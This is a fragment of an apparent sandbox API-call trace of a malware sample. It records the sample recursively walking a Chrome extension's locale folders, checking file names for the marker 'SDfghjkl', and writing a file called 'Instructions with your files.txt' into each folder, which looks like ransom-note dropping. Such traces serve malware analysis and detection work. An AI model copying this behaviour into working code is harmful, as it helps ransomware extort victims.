[0128.873] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0128.873] CloseHandle (hObject=0x134) returned 1
[0128.873] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0128.873] GetProcessHeap () returned 0x810000
[0128.873] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f2068 | out: hHeap=0x810000) returned 1
[0128.873] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1cb30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a1cb30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1
[0128.873] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu") returned 141
[0128.873] GetProcessHeap () returned 0x810000
[0128.873] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f2068
[0128.873] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\*") returned 143
[0128.873] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1cb30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a1cb30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0128.874] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\.") returned 143
[0128.874] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1cb30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a1cb30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.874] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\..") returned 144
[0128.874] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1ea70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0128.875] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\messages.json") returned 155
[0128.875] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0128.875] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1ea70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0128.875] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\Instructions with your files.txt") returned 174
[0128.875] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0128.875] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0128.876] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0128.876] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0128.876] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0128.876] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0128.876] CloseHandle (hObject=0x134) returned 1
[0128.876] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0128.876] GetProcessHeap () returned 0x810000
[0128.876] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f2068 | out: hHeap=0x810000) returned 1
[0128.876] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1cb30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a1cb30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1
[0128.876] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id") returned 141
[0128.876] GetProcessHeap () returned 0x810000
[0128.877] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f2068
[0128.877] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\*") returned 143
[0128.877] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1cb30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a1cb30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0128.877] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\.") returned 143
[0128.877] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1cb30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a1cb30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.877] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\..") returned 144
[0128.877] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1ea70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0128.877] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\messages.json") returned 155
[0128.877] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0128.877] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a1ea70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0128.877] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\Instructions with your files.txt") returned 174
[0128.877] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0128.877] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0128.878] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0128.879] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0128.879] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0128.879] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0128.879] CloseHandle (hObject=0x134) returned 1
[0128.879] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0128.879] GetProcessHeap () returned 0x810000
[0128.879] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f2068 | out: hHeap=0x810000) returned 1
[0128.879] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a42c90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a42c90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it", cAlternateFileName="")) returned 1
[0128.879] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it") returned 141
[0128.879] GetProcessHeap () returned 0x810000
[0128.879] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f2068
[0128.879] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\*") returned 143
[0128.879] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a42c90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a42c90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0128.880] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\.") returned 143
[0128.880] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a1cb30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a42c90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a42c90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.880] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\..") returned 144
[0128.880] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a43460, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0128.880] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json") returned 155
[0128.880] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0128.880] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a43460, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0128.880] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\Instructions with your files.txt") returned 174
[0128.880] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0128.881] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0128.882] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0128.882] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0128.882] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0128.882] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0128.882] CloseHandle (hObject=0x134) returned 1
[0128.882] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0128.882] GetProcessHeap () returned 0x810000
[0128.882] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f2068 | out: hHeap=0x810000) returned 1
[0128.882] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a42c90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a42c90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1
[0128.882] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja") returned 141
[0128.882] GetProcessHeap () returned 0x810000
[0128.882] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f2068
[0128.882] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\*") returned 143
[0128.882] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a42c90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a42c90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0128.883] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\.") returned 143
[0128.883] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a42c90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85a42c90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.883] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\..") returned 144
[0128.883] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85a42c90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85a43460, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
